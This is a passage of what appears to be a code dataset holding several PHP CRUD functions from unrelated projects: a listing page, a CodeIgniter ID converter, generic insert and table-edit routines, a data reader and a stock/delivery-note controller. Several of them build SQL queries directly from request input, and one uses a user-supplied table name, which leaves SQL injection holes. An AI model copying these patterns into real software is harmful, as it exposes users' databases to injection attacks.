$root;?>&amp;act=edit&amp;id=<?php echo $id;?>\">Edit</a> |\n\t\t\t\t\t<a href=\"delete.php\">Hapus</a>\n\t\t\t\t\t<!--\n\t\t\t\t\tLengkapi kode PHP untuk membuat link hapus data\n\t\t\t\t\t-->\n\t\t\t\t\t</td>\n\t\t\t\t</tr>\n\t\t\t\t<?php\n\t\t\t\t$i++;\n\t\t\t}\n\t\t\t?>\n\t\t\t</tbody>\n\t\t</table>\n\t\t</div>\n\t</div>\n</div>\n\t\t<?php\n\t\t}\n\t\telse\n\t\t{\n\t\t\techo 'Beluma ada data, isi <a href=\"'.$root.'&amp;act=add\">di sini</a>';\n\t\t}\n\t\t@mysql_close($res);\n\t}\n}", "private function _convert_id($insert_data)\r\n {\r\n if($this->is_error === true){return;}\r\n\r\n // Convert data to id name\r\n foreach ($this->model_id_list() as $convert_condition)\r\n {\r\n // Use to store the extracted data\r\n $data_record = array();\r\n // To identified all data must exist if found\r\n $first_data = true;\r\n $data_found = false;\r\n\r\n // Loop through data to obtain all value\r\n foreach ($convert_condition[\"data_column\"] as $data)\r\n {\r\n $data_name = $data[\"data\"];\r\n $data_key = $data[\"column\"];\r\n \r\n // Extract and remove data\r\n if(array_key_exists($data_name, $insert_data))\r\n {\r\n // Perform check, error if not all data found\r\n if($first_data === false && $data_found === false)\r\n {\r\n $this->set_error(\r\n \"MBE-\".$this->model_code.\"-CI-1\", \r\n \"Internal error, please contact admin\",\r\n \"Found $data_name but not previous data for the dataset pass in for \".$this->model_name);\r\n }\r\n $data_record[$data_key] = $insert_data[$data_name];\r\n unset($insert_data[$data_name]);\r\n $data_found = true;\r\n $first_data = false;\r\n }\r\n }\r\n \r\n if($this->is_error === true){return;}\r\n \r\n if($data_found === true)\r\n {\r\n $mode = $convert_condition[\"table\"].\"_model\";\r\n // Invoke necessary model\r\n $this->load->model($mode);\r\n\r\n // Validate and convert data to id if necessary\r\n $data_record = $this->$mode->validate_and_convert_id($data_record);\r\n\r\n $this->validate_return_data($this->$mode);\r\n \r\n if($this->is_error === true){return;}\r\n\r\n // Search data form the model\r\n $data = $this->$mode->find_one($data_record,'','array');\r\n\r\n\r\n // when allow, Insert data if not found\r\n if (!array_key_exists(\"id\", $data) && $convert_condition[\"editable\"] === true)\r\n {\r\n $this->$mode->insert_data(json_encode($data_record));\r\n\r\n $this->validate_return_data($this->$mode);\r\n \r\n if($this->is_error === true){return;}\r\n\r\n // extract id\r\n $return_data = $return_data = $this->$mode->get_return_data_set();\r\n $data[\"id\"] = $return_data[\"data\"][\"id\"];\r\n }\r\n \r\n if($this->is_error === true){return;}\r\n \r\n // Set the id name and value to the dataset\r\n if(array_key_exists(\"id\", $data))\r\n {\r\n\r\n $insert_data[$convert_condition[\"id_column\"]] = $data['id'];\r\n }\r\n }\r\n }\r\n \r\n return $insert_data;\r\n }", "public function setRegistro($user_data = array()){\n $this->query = \"\";\n $tblCol = '';\n $tblVal = ''; $err_img = '';\n $colExt = ''; $colName = '';\n $valExt = ''; $valName = '';\n //traemos la siguiente secuencia de la tabla segun los parametros de entrada\n if(isset($user_data['cod_' . str_replace('sys_','',$user_data['no_esq_tabla'])]) and empty($user_data['cod_' . str_replace('sys_','',$user_data['no_esq_tabla'])])){\n $user_data['cod_' . str_replace('sys_','',$user_data['no_esq_tabla'])] = ModeloSistema::setSigSecuencia($user_data['no_esq_tabla']);\n }\n //Llenamos el usuario de la transaccion si la tabla lo requiere y los asignamos al array de valores para el insert\n if (isset($user_data['cod_usuario']) and empty($user_data['cod_usuario'])){$user_data['cod_usuario'] = Session::get('cod');}\n /*obtengo el nombre de la tabla para futuras validaciones */\n $pos = strpos($user_data['no_esq_tabla'], '_');\n $nomTabla = substr($user_data['no_esq_tabla'],$pos+1,strlen($user_data['no_esq_tabla']));\n foreach($user_data as $col=>$dat){\n if(strpos($col,'no_') === false){\n $tblCol = $tblCol . $col . ',';\n $tblVal = $tblVal . \"'\" . $dat . \"'\" . ',';\n }\n }\n\n //Procesamos los archivos adjuntos que vienen con el post\n $icount = contarCoincidencias($user_data,\"tmp_img\");\n for($f=0;$f<$icount;$f++):\n $t=$f>0 ? $f : '';\n if (isset($user_data[\"no_tmp_img\".$t]) Or !empty($user_data[\"no_tmp_img\".$t])):\n $err_img = $err_img . uploadImg($user_data, SYS_DIR_ADJ, $valName, $colName,$t);\n endif;\n //completamos las columnas extras para la transaccion\n if (!empty($valName)) {\n $valExt .= \",'\" . $valName . \"'\";\n $colExt .= \",\" . $colName . \"\";\n $colExt .= $nomTabla;\n }\n endfor;\n\n $this->query = \" INSERT INTO \" . $user_data['no_esq_tabla'] . \"\n (\". substr($tblCol,0,(strlen($tblCol)-1)) .\"\" . $colExt .\")\n VALUES (\". substr($tblVal,0,(strlen($tblVal)-1)) . \"\" . $valExt . \")\";\n $this->execute_single_query();\n //Swicth para eventos posteriores al insert segund lo requiera cada proceso\n switch ($user_data['no_nom_tabla']){\n //Asignamos la configuracion al usuario\n case 'nuevaUsuario':\n for($i=0;$i<count($user_data['no_cod_menu']);$i++){\n $this->query = \" INSERT INTO \" . $user_data['no_esq_tabla'] . \"_menu\n (cod_usuario,cod_menu)\n VALUES ('\" .$user_data['cod_' . $nomTabla] . \"','\" .$user_data['no_cod_menu'][$i]. \"')\";\n $this->execute_single_query();\n }\n for($i=0;$i<count($user_data['no_menu_sub']);$i++){\n $this->query = \" INSERT INTO \" . $user_data['no_esq_tabla'] . \"_menu_sub\n (cod_usuario,cod_menu_sub)\n VALUES ('\" .$user_data['cod_' . $nomTabla] . \"','\" .$user_data['no_menu_sub'][$i]. \"')\";\n $this->execute_single_query();\n $this->query = \" call pbAsignaSubMenu(\" . $user_data['cod_' . $nomTabla] . \",\" . $user_data['no_menu_sub'][$i] . \")\";\n $this->execute_single_query();\n }\n for($i=0;$i<count($user_data['no_cod_empresa']);$i++){\n $this->query = \" INSERT INTO \" . $user_data['no_esq_tabla'] . \"_empresa\n (cod_usuario,cod_empresa)\n VALUES ('\" .$user_data['cod_' . $nomTabla] . \"','\" .$user_data['no_cod_empresa'][$i]. \"')\";\n $this->execute_single_query();\n }\n\n $this->query = \" INSERT INTO \" . $user_data['no_esq_tabla'] . \"_perfil\n (cod_usuario,cod_perfil)\n VALUES ('\" .$user_data['cod_' . $nomTabla] . \"','\" .$user_data['no_cod_perfil']. \"')\";\n $this->execute_single_query();\n $err_img = $err_img . \" La configuracion del sistema a sido asinada al usuario: \" . $user_data['nom_' . $nomTabla] ;\n break;\n case 'NuevaConfiguracionGeneral':\n if ($user_data['cod_estado'] == 'AAA') {\n $this->query = \" call pbActualizaConfig(2,\" . $user_data['cod_config'] . \")\";\n $this->execute_single_query();\n $err_img = $err_img . \" La configuracion ha sido definida como predeterminada\";\n }\n break;\n }\n $this->msj = \"La transaccion se registro correctamente. \" . $err_img;\n }", "function modtabella_dati($qry,$bordo=0,$backcolor=\"#ffffff\",$backheader = \"#ffffff\",$id=\"tabeldati\",$nometabella=\"utenti\",$campok=\"id\",$tipok=\"numerico\",$scriptmodifica=\"./modutenti.php\")\n{\n global $submit1, $valoreid,$PHP_SELF;\n if (isset($submit1))\n {\n unset($submit1);\n $qrydet = (($tipok == \"numerico\") ? \"select * from $nometabella where $campok=$valoreid\":\"select * from $nometabella where $campok='$valoreid'\");\t\n $resultqry1 = esegui_query($qrydet);\t\n $rec = getrecord($resultqry1);\n $ncampi = getnumcampi($resultqry1);\n $strget = \"\";\n for($i = 0;$i < $ncampi;$i++)\n {\n\t $chiave = getnomecampo($resultqry1,$i); \n\t $valore = $rec[$chiave];\n\t $valore = ereg_replace(\" \",\"&nbsp;\",$valore);\n\t $strget .= \"<tr><td><b>$chiave</b></td><td>\";\n \t $strget .= \"<input class=inputstyle type=text name=$chiave size=50 maxlength=50 onchange=cambia_sfondo(this,1) value=$valore>\";\n $strget .= \"</td></tr>\";\n\t\t \n }\n\techo \"<script language=javascript>\";\n\techo \"wnd = window.open(\\\"$scriptmodifica?rec=$strget&submit2=ok&nometabella=$nometabella&campoid=$campok&tipoid=$tipok\\\",'Modifica_dati','toolbar=no,menubar=no,top=20,left=40,height=450,width=500');\";\n\techo \"</script>\";\t\n }\n $resultqry = esegui_query($qry);\n if (numrec($resultqry) == 0)\n \techo \"<b>Nessun record Trovato</b>\";\n else\n {\n \t$numcolonne = getnumcampi($resultqry);\n\techo \"<table cellpadding=0 cellspacing=2 border=$bordo bgcolor=$backcolor id=$id>\";\n\techo \"<tr>\";\n\tfor($i = 0;$i < $numcolonne;$i++)\n\t {\n\t\t$nc = getnomecampo($resultqry,$i);\n\t\techo \"<th bgcolor=$backheader>$nc</th>\";\n\t }\n\t echo \"<th bgcolor=$backheader>Dettagli</th>\";\n\t echo \"</tr>\";\n\t while(($record = getrecord($resultqry)))\n\t {\n\t echo \"<tr>\";\n\t \tfor($i = 0;$i < $numcolonne;$i++)\n\t {\n\t\t $nc = getnomecampo($resultqry,$i);\n\t\t echo \"<td valign=top>$record[$nc]</td>\";\n\t\t \n\t }\n\t\t echo \"<td valign=top align=center>\";\n\t\t form_crea(\"r\" + $record[$campok],1,\"$PHP_SELF\");\n\t\t form_casella_testo_nascosta(\"valoreid\",$record[$campok]);\n\t\t form_invia(\"Modifica\",\"submit1\");\n\t\t form_chiudi();\n\t\t echo \"</td>\";\n\t\t echo \"</tr>\";\n\t\n\t }\n echo \"</table>\";\n }\n}", "function readdata($conn,$User_Input)\r\n {\r\n\r\n $sql = \"SELECT wert FROM $User_Input ORDER BY id DESC LIMIT 1;\"; //Wert wird aus Tabelle abgelesen \r\n \r\n $result = mysqli_query($conn,$sql);\r\n\r\n if ($result) //Wenn Wert erfolgreich gespeichert erfolgt Ausgabe \r\n { \r\n $Data = $result->fetch_assoc();\r\n echo $Data[\"wert\"];\r\n } \r\n else \r\n {\r\n echo \"Error: \" . $sql . \" => \" . $conn->error; //Ausgabe des Fehlercodes \r\n }\r\n }", "public function postData($type){\r\r\n\t\t$id = $this->input->post('kode');\r\r\n\t\t$response['type'] = $type;\r\r\n\t\tif (strlen($id)>0) {\r\r\n\t\t\t//UPDATE\r\r\n\t\t\t$data = $this->general_post_data(2, $id);\r\r\n\t\t\t$where['data'][] = array(\r\r\n\t\t\t\t'column' => 'cabang_id',\r\r\n\t\t\t\t'param'\t => $id\r\r\n\t\t\t);\r\r\n\t\t\t$update = $this->mod->update_data_table($this->tbl, $where, $data);\r\r\n\t\t\tif($update->status) {\r\r\n\t\t\t\t$response['status'] = '200';\r\r\n\t\t\t} else {\r\r\n\t\t\t\t$response['status'] = '204';\r\r\n\t\t\t}\r\r\n\t\t} else if($this->input->post('surat_jalan_jenis', TRUE) == '1'){\r\r\n\t\t\t//INSERT\r\r\n\t\t\t$data = $this->general_post_data(1);\r\r\n\t\t\t$pass = TRUE;\r\r\n\t\t\t$select = 'b.permintaan_pembelian_id';\r\r\n\t\t\t$join['data'][] = array(\r\r\n\t\t\t\t'table' => 't_penawaran b',\r\r\n\t\t\t\t'join'\t=> 'b.penawaran_id = a.order_referensi_id',\r\r\n\t\t\t\t'type'\t=> 'left'\r\r\n\t\t\t);\r\r\n\t\t\t$where['data'][] = array(\r\r\n\t\t\t\t'column' => 'a.order_id',\r\r\n\t\t\t\t'param' => $this->input->post('t_order_id', TRUE)\r\r\n\t\t\t);\r\r\n\t\t\t$query = $this->mod->select($select, 't_order a', $join, $where);\r\r\n\t\t\t// $response['insert'] = 'masuk';\r\r\n\t\t\tif($query<>false)\r\r\n\t\t\t{\r\r\n\t\t\t\tforeach ($query->result() as $val) {\r\r\n\t\t\t\t\t$idSPP = json_decode($val->permintaan_pembelian_id);\r\r\n\t\t\t\t\tfor($i = 0; $i < count($idSPP); $i++)\r\r\n\t\t\t\t\t{\r\r\n\t\t\t\t\t\t$selectGudang = 'm_gudang_id_permintaan';\r\r\n\t\t\t\t\t\t$whereGudang['data'][] = array(\r\r\n\t\t\t\t\t\t\t'column' => 'permintaan_pembelian_id',\r\r\n\t\t\t\t\t\t\t'param' => $idSPP[$i]\r\r\n\t\t\t\t\t\t);\r\r\n\t\t\t\t\t\t$queryGudang = $this->mod->select($selectGudang, 't_permintaan_pembelian', null, $whereGudang);\r\r\n\t\t\t\t\t\tif($queryGudang)\r\r\n\t\t\t\t\t\t{\r\r\n\t\t\t\t\t\t\tforeach ($queryGudang->result() as $val2) {\r\r\n\t\t\t\t\t\t\t\t// $Gudang = $val2->m_gudang_id_permintaan;\r\r\n\t\t\t\t\t\t\t\t// $response['gudang'] = $Gudang;\r\r\n\t\t\t\t\t\t\t\tfor ($j = 0; $j < sizeof($this->input->post('m_barang_id', TRUE)); $j++) {\r\r\n\t\t\t\t\t\t\t\t\t// PENGURANGAN STOK GUDANG\r\r\n\t\t\t\t\t\t\t\t\tif (@$where_gudang['data']) {\r\r\n\t\t\t\t\t\t\t\t\t\tunset($where_gudang['data']);\r\r\n\t\t\t\t\t\t\t\t\t}\r\r\n\t\t\t\t\t\t\t\t\t$where_gudang['data'][] = array(\r\r\n\t\t\t\t\t\t\t\t\t\t'column' => 'm_barang_id',\r\r\n\t\t\t\t\t\t\t\t\t\t'param'\t => $this->input->post('m_barang_id', TRUE)[$j]\r\r\n\t\t\t\t\t\t\t\t\t);\r\r\n\t\t\t\t\t\t\t\t\t$where_gudang['data'][] = array(\r\r\n\t\t\t\t\t\t\t\t\t\t'column' => 'm_gudang_id',\r\r\n\t\t\t\t\t\t\t\t\t\t'param'\t => $val2->m_gudang_id_permintaan\r\r\n\t\t\t\t\t\t\t\t\t);\r\r\n\t\t\t\t\t\t\t\t\t$query_gudang = $this->mod->select('*', 't_stok_gudang', NULL, $where_gudang);\r\r\n\t\t\t\t\t\t\t\t\tforeach ($query_gudang->result() as $rowStok) {\r\r\n\t\t\t\t\t\t\t\t\t\t// PENGURANGAN KARTU STOK\r\r\n\t\t\t\t\t\t\t\t\t\t$dataKStok = array(\r\r\n\t\t\t\t\t\t\t\t\t\t\t'm_gudang_id' \t\t\t\t=> $val2->m_gudang_id_permintaan,\r\r\n\t\t\t\t\t\t\t\t\t\t\t'm_barang_id' \t\t\t\t=> $this->input->post('m_barang_id', TRUE)[$i],\r\r\n\t\t\t\t\t\t\t\t\t\t\t'kartu_stok_tanggal' \t\t=> date('Y-m-d H:i:s'),\r\r\n\t\t\t\t\t\t\t\t\t\t\t'kartu_stok_referensi' \t\t=> $data['surat_jalan_nomor'],\r\r\n\t\t\t\t\t\t\t\t\t\t\t'kartu_stok_saldo' \t\t\t=> $rowStok->stok_gudang_jumlah,\r\r\n\t\t\t\t\t\t\t\t\t\t\t'kartu_stok_masuk' \t\t\t=> 0,\r\r\n\t\t\t\t\t\t\t\t\t\t\t'kartu_stok_keluar' \t\t=> $this->input->post('orderdet_qty', TRUE)[$i],\r\r\n\t\t\t\t\t\t\t\t\t\t\t'kartu_stok_penyesuaian'\t=> 0,\r\r\n\t\t\t\t\t\t\t\t\t\t\t'kartu_stok_keterangan' \t=> \"Surat Jalan WO\",\r\r\n\t\t\t\t\t\t\t\t\t\t\t'kartu_stok_created_date'\t=> date('Y-m-d H:i:s'),\r\r\n\t\t\t\t\t\t\t\t\t\t\t'kartu_stok_created_by' \t=> $this->session->userdata('user_username'),\r\r\n\t\t\t\t\t\t\t\t\t\t\t'kartu_stok_revised' \t\t=> 0,\r\r\n\t\t\t\t\t\t\t\t\t\t);\r\r\n\t\t\t\t\t\t\t\t\t\t// END PENGURANGAN KARTU STOK\r\r\n\t\t\t\t\t\t\t\t\t\t$insertKStok = $this->mod->insert_data_table('t_kartu_stok', NULL, $dataKStok);\r\r\n\t\t\t\t\t\t\t\t\t\tif (@$whereStok['data']) {\r\r\n\t\t\t\t\t\t\t\t\t\t\tunset($whereStok['data']);\r\r\n\t\t\t\t\t\t\t\t\t\t}\r\r\n\t\t\t\t\t\t\t\t\t\t$whereStok['data'][] = array(\r\r\n\t\t\t\t\t\t\t\t\t\t\t'column' => 'stok_gudang_id',\r\r\n\t\t\t\t\t\t\t\t\t\t\t'param'\t => $rowStok->stok_gudang_id\r\r\n\t\t\t\t\t\t\t\t\t\t);\r\r\n\t\t\t\t\t\t\t\t\t\t$dataStok = array(\r\r\n\t\t\t\t\t\t\t\t\t\t\t'stok_gudang_jumlah' \t\t=> $rowStok->stok_gudang_jumlah - $this->input->post('orderdet_qty', TRUE)[$i],\r\r\n\t\t\t\t\t\t\t\t\t\t\t'stok_gudang_update_date'\t=> date('Y-m-d H:i:s'),\r\r\n\t\t\t\t\t\t\t\t\t\t\t'stok_gudang_update_by'\t\t=> $this->session->userdata('user_username'),\r\r\n\t\t\t\t\t\t\t\t\t\t\t'stok_gudang_revised' \t\t=> $rowStok->stok_gudang_revised + 1,\r\r\n\t\t\t\t\t\t\t\t\t\t);\r\r\n\t\t\t\t\t\t\t\t\t\t$updateStok = $this->mod->update_data_table('t_stok_gudang', $whereStok, $dataStok);\r\r\n\t\t\t\t\t\t\t\t\t\t// END PENGURANGAN STOK GUDANG\r\r\n\t\t\t\t\t\t\t\t\t}\r\r\n\t\t\t\t\t\t\t\t\t$insert = $this->mod->insert_data_table($this->tbl, NULL, $data);\r\r\n\t\t\t\t\t\t\t\t\tif($insert->status) {\r\r\n\t\t\t\t\t\t\t\t\t\t$response['status'] = '200';\r\r\n\t\t\t\t\t\t\t\t\t} else {\r\r\n\t\t\t\t\t\t\t\t\t\t$response['status'] = '204';\r\r\n\t\t\t\t\t\t\t\t\t}\r\r\n\t\t\t\t\t\t\t\t\t\t\r\r\n\t\t\t\t\t\t\t\t}\r\r\n\t\t\t\t\t\t\t}\r\r\n\t\t\t\t\t\t}\r\r\n\t\t\t\t\t}\r\r\n\t\t\t\t}\r\r\n\t\t\t}\r\r\n\t\t} else if($this->input->post('surat_jalan_jenis', TRUE) == '0'){\r\r\n\t\t\t//INSERT\r\r\n\t\t\t$data = $this->general_post_data(3);\r\r\n\t\t\t$select = 'a.m_gudang_id, b.m_barang_id, a.nota_debet_catatan';\r\r\n\t\t\t$join['data'][] = array(\r\r\n\t\t\t\t'table' => 't_nota_debetdet b',\r\r\n\t\t\t\t'join'\t=> 'b.t_nota_debet_id = a.nota_debet_id',\r\r\n\t\t\t\t'type'\t=> 'left'\r\r\n\t\t\t);\r\r\n\t\t\t$where['data'][] = array(\r\r\n\t\t\t\t'column' => 'a.nota_debet_id',\r\r\n\t\t\t\t'param' => $this->input->post('t_order_id')\r\r\n\t\t\t);\r\r\n\t\t\t$query = $this->mod->select($select, 't_nota_debet a', $join, $where);\r\r\n\t\t\t// $response['insert'] = 'masuk';\r\r\n\t\t\tif($query<>false)\r\r\n\t\t\t{\r\r\n\t\t\t\t$no = 1;\r\r\n\t\t\t\tforeach ($query->result() as $val) {\r\r\n\t\t\t\t\t// $Gudang = $val2->m_gudang_id_permintaan;\r\r\n\t\t\t\t\t// $response['gudang'] = $Gudang;\r\r\n\t\t\t\t\t// PENGURANGAN STOK GUDANG\r\r\n\t\t\t\t\tif (@$where_gudang['data']) {\r\r\n\t\t\t\t\t\tunset($where_gudang['data']);\r\r\n\t\t\t\t\t}\r\r\n\t\t\t\t\t$where_gudang['data'][] = array(\r\r\n\t\t\t\t\t\t'column' => 'm_barang_id',\r\r\n\t\t\t\t\t\t'param'\t => $val->m_barang_id\r\r\n\t\t\t\t\t);\r\r\n\t\t\t\t\t$where_gudang['data'][] = array(\r\r\n\t\t\t\t\t\t'column' => 'm_gudang_id',\r\r\n\t\t\t\t\t\t'param'\t => $val->m_gudang_id\r\r\n\t\t\t\t\t);\r\r\n\t\t\t\t\t$query_gudang = $this->mod->select('*', 't_stok_gudang', NULL, $where_gudang);\r\r\n\t\t\t\t\tif($query_gudang)\r\r\n\t\t\t\t\t{\r\r\n\t\t\t\t\t\t$i =0;\r\r\n\t\t\t\t\t\tforeach ($query_gudang->result() as $rowStok) {\r\r\n\t\t\t\t\t\t\t// PENGURANGAN KARTU STOK\r\r\n\t\t\t\t\t\t\t$dataKStok = array(\r\r\n\t\t\t\t\t\t\t\t'm_gudang_id' \t\t\t\t=> $val->m_gudang_id,\r\r\n\t\t\t\t\t\t\t\t'm_barang_id' \t\t\t\t=> $this->input->post('m_barang_id', TRUE)[$i],\r\r\n\t\t\t\t\t\t\t\t'kartu_stok_tanggal' \t\t=> date('Y-m-d H:i:s'),\r\r\n\t\t\t\t\t\t\t\t'kartu_stok_referensi' \t\t=> $data['surat_jalan_nomor'],\r\r\n\t\t\t\t\t\t\t\t'kartu_stok_saldo' \t\t\t=> $rowStok->stok_gudang_jumlah,\r\r\n\t\t\t\t\t\t\t\t'kartu_stok_masuk' \t\t\t=> 0,\r\r\n\t\t\t\t\t\t\t\t'kartu_stok_keluar' \t\t=> $this->input->post('orderdet_qty', TRUE)[$i],\r\r\n\t\t\t\t\t\t\t\t'kartu_stok_penyesuaian'\t=> 0,\r\r\n\t\t\t\t\t\t\t\t'kartu_stok_keterangan' \t=> \"Surat Jalan Retur\",\r\r\n\t\t\t\t\t\t\t\t'kartu_stok_created_date'\t=> date('Y-m-d H:i:s'),\r\r\n\t\t\t\t\t\t\t\t'kartu_stok_created_by' \t=> $this->session->userdata('user_username'),\r\r\n\t\t\t\t\t\t\t\t'kartu_stok_revised' \t\t=> 0,\r\r\n\t\t\t\t\t\t\t);\r\r\n\t\t\t\t\t\t\t// END PENGURANGAN KARTU STOK\r\r\n\t\t\t\t\t\t\t$insertKStok = $this->mod->insert_data_table('t_kartu_stok', NULL, $dataKStok);\r\r\n\t\t\t\t\t\t\tif (@$whereStok['data']) {\r\r\n\t\t\t\t\t\t\t\tunset($whereStok['data']);\r\r\n\t\t\t\t\t\t\t}\r\r\n\t\t\t\t\t\t\t$whereStok['data'][] = array(\r\r\n\t\t\t\t\t\t\t\t'column' => 'stok_gudang_id',\r\r\n\t\t\t\t\t\t\t\t'param'\t => $rowStok->stok_gudang_id\r\r\n\t\t\t\t\t\t\t);\r\r\n\t\t\t\t\t\t\t$dataStok = array(\r\r\n\t\t\t\t\t\t\t\t'stok_gudang_jumlah' \t\t=> $rowStok->stok_gudang_jumlah - $this->input->post('orderdet_qty', TRUE)[$i],\r\r\n\t\t\t\t\t\t\t\t'stok_gudang_update_date'\t=> date('Y-m-d H:i:s'),\r\r\n\t\t\t\t\t\t\t\t'stok_gudang_update_by'\t\t=> $this->session->userdata('user_username'),\r\r\n\t\t\t\t\t\t\t\t'stok_gudang_revised' \t\t=> $rowStok->stok_gudang_revised + 1,\r\r\n\t\t\t\t\t\t\t);\r\r\n\t\t\t\t\t\t\t$updateStok = $this->mod->update_data_table('t_stok_gudang', $whereStok, $dataStok);\r\r\n\t\t\t\t\t\t\t$i++;\r\r\n\t\t\t\t\t\t\t// END PENGURANGAN STOK GUDANG\r\r\n\t\t\t\t\t\t}\r\r\n\t\t\t\t\t\t$insert = $this->mod->insert_data_table($this->tbl, NULL, $data);\r\r\n\t\t\t\t\t\tif($insert->status) {\r\r\n\t\t\t\t\t\t\t$response['status'] = '200';\r\r\n\t\t\t\t\t\t} else {\r\r\n\t\t\t\t\t\t\t$response['status'] = '204';\r\r\n\t\t\t\t\t\t}\r\r\n\t\t\t\t\t}\r\r\n\t\t\t\t\t\r\r\n\t\t\t\t}\r\r\n\t\t\t}\r\r\n\t\t} else if($this->input->post('surat_jalan_jenis', TRUE) == '3'){\r\r\n\t\t\t//INSERT\r\r\n\t\t\t$data = $this->general_post_data(4);\r\r\n\t\t\t$response['data'] = $data;\r\r\n\t\t\t$insert = $this->mod->insert_data_table($this->tbl, NULL, $data);\r\r\n\t\t\tfor($i = 0; $i < sizeof($this->input->post('po_customerdet_id', TRUE)); $i++)\r\r\n\t\t\t{\r\r\n\t\t\t\t$dataqty = $this->general_post_data2(1, $i, $insert->output); // $insert->output\r\r\n\t\t\t\t$response['surat_jalandet'][] = $dataqty;\r\r\n\t\t\t\t$insertdet = $this->mod->insert_data_table('t_surat_jalandet', null, $dataqty);\r\r\n\t\t\t\t$qty = $this->input->post('qty_kirim', TRUE)[$i];\r\r\n\t\t\t\t$qty2 = $this->input->post('surat_jalandet_qty_kirim', TRUE)[$i];\r\r\n\t\t\t\t$qty3 = $this->input->post('orderdet_qty', TRUE)[$i];\r\r\n\t\t\t\tif($qty3 == ($qty+$qty2))\r\r\n\t\t\t\t{\r\r\n\t\t\t\t\tif(@$where_PODet['data'])\r\r\n\t\t\t\t\t{\r\r\n\t\t\t\t\t\tunset($where_PODet['data']);\r\r\n\t\t\t\t\t}\r\r\n\t\t\t\t\t$where_PODet['data'][] = array(\r\r\n\t\t\t\t\t\t'column' => 'po_customerdet_id',\r\r\n\t\t\t\t\t\t'param'\t => $this->input->post('po_customerdet_id', TRUE)[$i]\r\r\n\t\t\t\t\t);\r\r\n\t\t\t\t\t$queryPOdet = $this->mod->select('po_customerdet_status, po_customerdet_revised', 't_po_customerdet', null, $where_PODet);\r\r\n\t\t\t\t\tif($queryPOdet)\r\r\n\t\t\t\t\t{\r\r\n\t\t\t\t\t\tforeach ($queryPOdet->result() as $val) {\r\r\n\t\t\t\t\t\t\t$revised = $val->po_customerdet_revised + 1;\r\r\n\t\t\t\t\t\t\t$data_POdet = array(\r\r\n\t\t\t\t\t\t\t\t'po_customerdet_status'\t\t\t=> 5,\r\r\n\t\t\t\t\t\t\t\t'po_customerdet_revised'\t\t=> $revised,\r\r\n\t\t\t\t\t\t\t\t'po_customerdet_updated_date'\t=> date('Y-m-d H:i:s'),\r\r\n\t\t\t\t\t\t\t\t'po_customerdet_updated_by'\t\t=> $this->session->userdata('user_username'),\r\r\n\t\t\t\t\t\t\t);\r\r\n\t\t\t\t\t\t\t$response['det'][] = $data_POdet;\r\r\n\t\t\t\t\t\t\t$update_POdet = $this->mod->update_data_table('t_po_customerdet', $where_PODet, $data_POdet);\r\r\n\t\t\t\t\t\t}\r\r\n\t\t\t\t\t}\r\r\n\t\t\t\t}\r\r\n\t\t\t\tif(@$joinStatus['data'])\r\r\n\t\t\t\t{\r\r\n\t\t\t\t\tunset($joinStatus['data']);\r\r\n\t\t\t\t}\r\r\n\t\t\t\tif(@$whereStatus['data'])\r\r\n\t\t\t\t{\r\r\n\t\t\t\t\tunset($whereStatus['data']);\r\r\n\t\t\t\t}\r\r\n\t\t\t\t$joinStatus['data'][] = array(\r\r\n\t\t\t\t\t'table' => 't_so_customer b',\r\r\n\t\t\t\t\t'join'\t=> 'b.t_po_customer_id = a.t_po_customer_id',\r\r\n\t\t\t\t\t'type'\t=> 'left'\r\r\n\t\t\t\t);\r\r\n\t\t\t\t$whereStatus['data'][] = array(\r\r\n\t\t\t\t\t'column' => 'so_customer_nomor',\r\r\n\t\t\t\t\t'param'\t => $this->input->post('so_customer_nomor', TRUE)[$i]\r\r\n\t\t\t\t);\r\r\n\t\t\t\t$queryStatus = $this->mod->select('po_customerdet_status', 't_po_customerdet a', $joinStatus, $whereStatus);\r\r\n\t\t\t\tif($queryStatus)\r\r\n\t\t\t\t{\r\r\n\t\t\t\t\t$dataStatus = array();\r\r\n\t\t\t\t\tforeach ($queryStatus->result() as $val) {\r\r\n\t\t\t\t\t\tarray_push($dataStatus, $val->po_customerdet_status);\r\r\n\t\t\t\t\t}\r\r\n\t\t\t\t\tif(in_array('4', $dataStatus)){\r\r\n\t\t\t\t\t\t$response['status_so'][] = $dataStatus;\r\r\n\t\t\t\t\t}\r\r\n\t\t\t\t\telse\r\r\n\t\t\t\t\t{\r\r\n\t\t\t\t\t\t$response['status_so'] = 'ganti';\r\r\n\t\t\t\t\t\t$data_so = array(\r\r\n\t\t\t\t\t\t\t'so_customer_status' => 3,\r\r\n\t\t\t\t\t\t);\r\r\n\t\t\t\t\t\t$update_so = $this->mod->update_data_table('t_so_customer', $whereStatus, $data_so);\r\r\n\t\t\t\t\t}\r\r\n\t\t\t\t}\r\r\n\t\t\t\t// PENGURANGAN STOK GUDANG\r\r\n\t\t\t\tif (@$join_gudang['data']) {\r\r\n\t\t\t\t\tunset($join_gudang['data']);\r\r\n\t\t\t\t}\r\r\n\t\t\t\tif (@$where_gudang['data']) {\r\r\n\t\t\t\t\tunset($where_gudang['data']);\r\r\n\t\t\t\t}\r\r\n\t\t\t\t// STOK\r\r\n\t\t\t\t$join_gudang['data'][] = array(\r\r\n\t\t\t\t\t'table' => 'm_gudang b',\r\r\n\t\t\t\t\t'join'\t=> 'b.gudang_id = a.m_gudang_id',\r\r\n\t\t\t\t\t'type'\t=> 'left'\r\r\n\t\t\t\t);\r\r\n\t\t\t\t$where_gudang['data'][] = array(\r\r\n\t\t\t\t\t'column' => 'a.m_barang_id',\r\r\n\t\t\t\t\t'param'\t => $this->input->post('m_barang_id', TRUE)[$i]\r\r\n\t\t\t\t);\r\r\n\t\t\t\t$where_gudang['data'][] = array(\r\r\n\t\t\t\t\t'column' => 'b.m_jenis_gudang_id',\r\r\n\t\t\t\t\t'param'\t => 1\r\r\n\t\t\t\t);\r\r\n\t\t\t\t$where_gudang['data'][] = array(\r\r\n\t\t\t\t\t'column' => 'b.gudang_status_aktif',\r\r\n\t\t\t\t\t'param'\t => 'y'\r\r\n\t\t\t\t);\r\r\n\t\t\t\t$query_gudang = $this->mod->select('a.*, b.*', 't_stok_gudang a', $join_gudang, $where_gudang);\r\r\n\t\t\t\t$response['querygudang'] = $query_gudang;\r\r\n\t\t\t\tif($query_gudang)\r\r\n\t\t\t\t{\r\r\n\t\t\t\t\t$i =0;\r\r\n\t\t\t\t\tforeach ($query_gudang->result() as $rowStok) {\r\r\n\t\t\t\t\t\t// PENGURANGAN KARTU STOK\r\r\n\t\t\t\t\t\t$dataKStok = array(\r\r\n\t\t\t\t\t\t\t'm_gudang_id' \t\t\t\t=> 